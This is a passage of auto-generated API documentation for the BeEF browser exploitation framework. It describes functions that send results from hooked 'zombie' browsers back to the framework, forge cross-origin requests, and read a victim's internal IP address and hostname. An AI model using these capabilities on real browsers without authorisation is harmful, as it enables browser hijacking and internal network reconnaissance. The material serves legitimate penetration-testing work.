last\"><p>the input data</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>amount</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">Integer</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>chunk length</p></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net.js.html\">net.js</a>, <a href=\"net.js.html#line179\">line 179</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".clean\"><span class=\"type-signature\">(static) </span>clean<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}\nhttp://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net.js.html\">net.js</a>, <a href=\"net.js.html#line496\">line 496</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".command\"><span class=\"type-signature\">(static) </span>command<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Command object. This represents the data to be sent back to BeEF,\nusing the beef.net.send() method.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net.js.html\">net.js</a>, <a href=\"net.js.html#line35\">line 35</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".flush\"><span class=\"type-signature\">(static) </span>flush<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Flush all currently queued command results to the framework,\nchopping the data in chunks ('chunk' method) which will be re-assembled\nserver-side by the network stack.\nNOTE: currently 'flush' is used only with the default\nXHR-polling mechanism. If WebSockets are used, the data is sent\nback to BeEF straight away.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net.js.html\">net.js</a>, <a href=\"net.js.html#line147\">line 147</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".forge_request\"><span class=\"type-signature\">(static) </span>forge_request<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:</p>\n<ul>\n<li>requestid: needed on the callback</li>\n<li>allowCrossOrigin: set cross-origin requests as allowed or blocked</li>\n</ul>\n<p>forge_request is used mainly by the Requester and Tunneling Proxy Extensions.\nExample usage:\nbeef.net.forge_request(&quot;http&quot;, &quot;POST&quot;, &quot;172.20.40.50&quot;, 8080, &quot;/lulz&quot;,\ntrue, null, { foo: &quot;bar&quot; }, 5, 'html', false, null, function(response) {\nalert(response.response_body)})</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net.js.html\">net.js</a>, <a href=\"net.js.html#line321\">line 321</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".is_valid_ip\"><span class=\"type-signature\">(static) </span>is_valid_ip<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Checks if the specified IP address is valid</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net.js.html\">net.js</a>, <a href=\"net.js.html#line530\">line 530</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".is_valid_ip_range\"><span class=\"type-signature\">(static) </span>is_valid_ip_range<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Checks if the specified IP address range is valid</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net.js.html\">net.js</a>, <a href=\"net.js.html#line540\">line 540</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".is_valid_port\"><span class=\"type-signature\">(static) </span>is_valid_port<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Checks if the specified port is valid</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net.js.html\">net.js</a>, <a href=\"net.js.html#line521\">line 521</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".packet\"><span class=\"type-signature\">(static) </span>packet<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Packet object. A single chunk of data. X packets -&gt; 1 stream</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net.js.html\">net.js</a>, <a href=\"net.js.html#line46\">line 46</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".push\"><span class=\"type-signature\">(static) </span>push<span class=\"signature\">(stream)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Push the input stream back to the BeEF server-side components.\nIt uses beef.net.request to send back the data.</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>stream</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">Object</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>the stream object to be sent back.</p></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net.js.html\">net.js</a>, <a href=\"net.js.html#line189\">line 189</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".queue\"><span class=\"type-signature\">(static) </span>queue<span class=\"signature\">(handler, cid, results, status, callback)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Queues the specified command results.</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>handler</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>the server-side handler that will be called</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>cid</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">Integer</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>command id</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>results</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>the data to send</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>status</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">Integer</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>callback</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">function</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>the function to call after execution</p></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net.js.html\">net.js</a>, <a href=\"net.js.html#line91\">line 91</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".request\"><span class=\"type-signature\">(static) </span>request<span class=\"signature\">(scheme, method, domain, port, path, anchor, data, timeout, dataType, callback)</span><span class=\"type-signature\"> &rarr; {Object}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Performs http requests</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>scheme</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>HTTP or HTTPS</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>method</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>GET or POST</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>domain</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>bindshell.net, 192.168.3.4, etc</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>port</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">Int</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>80, 5900, etc</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>path</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>/path/to/resource</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>anchor</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>this is the value that comes after the # in the URL</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>data</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>This will be used as the query string for a GET or post data for a POST</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>timeout</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">Int</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>timeout the request after N seconds</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>dataType</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>specify the data return type expected (ie text/html/script)</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>callback</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">function</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>call the callback function at the completion of the method</p></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net.js.html\">net.js</a>, <a href=\"net.js.html#line219\">line 219</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>this object contains the response details</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">Object</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".response\"><span class=\"type-signature\">(static) </span>response<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Response Object - used in the beef.net.request callback\nNOTE: as we are using async mode, the response object will be empty if returned.\nUsing sync mode, request obj fields will be populated.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net.js.html\">net.js</a>, <a href=\"net.js.html#line72\">line 72</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".send\"><span class=\"type-signature\">(static) </span>send<span class=\"signature\">(handler, cid, results, exec_status, callback)</span><span class=\"type-signature\"> &rarr; {Integer}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Queues the current command results and flushes the queue straight away.\nNOTE: Always send Browser Fingerprinting results\n(beef.net.browser_details(); -&gt; /init handler) using normal XHR-polling,\neven if WebSockets are enabled.</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>handler</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>the server-side handler that will be called</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>cid</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">Integer</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>command id</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>results</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>the data to send</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>exec_status</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">Integer</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>callback</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">function</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>the function to call after execution</p></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net.js.html\">net.js</a>, <a href=\"net.js.html#line115\">line 115</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>the command module execution status (defaults to 0 - 'unknown' if status is null)</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">Integer</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".stream\"><span class=\"type-signature\">(static) </span>stream<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Stream object. Contains X packets, which are command result chunks.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net.js.html\">net.js</a>, <a href=\"net.js.html#line54\">line 54</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/beef.net.local.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: local</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: local</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>\n            <span class=\"ancestors\"><a href=\"beef.net.html\">.net</a>.</span>local</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n            <div class=\"description\"><p>Provides networking functions for the local/internal network of the zombie.</p></div>\n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net_local.js.html\">net/local.js</a>, <a href=\"net_local.js.html#line7\">line 7</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getLocalAddress\"><span class=\"type-signature\">(static) </span>getLocalAddress<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {String}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns the internal IP address of the zombie.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net_local.js.html\">net/local.js</a>, <a href=\"net_local.js.html#line54\">line 54</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>the internal ip of the zombie.</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">String</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getLocalHostname\"><span class=\"type-signature\">(static) </span>getLocalHostname<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {String}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns the internal hostname of the zombie.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net_local.js.html\">net/local.js</a>, <a href=\"net_local.js.html#line72\">line 72</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>the internal hostname of the zombie.</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">String</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".initializeSocket\"><span class=\"type-signature\">(static) </span>initializeSocket<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Initializes the java socket. We have to use this method because\nsome browsers do not have java installed or it is not accessible.\nin which case creating a socket directly generates an error. So this code\nis invalid:\nsock: new java.net.Socket();</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"net_local.js.html\">net/local.js</a>, <a href=\"net_local.js.html#line24\">line 24</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a 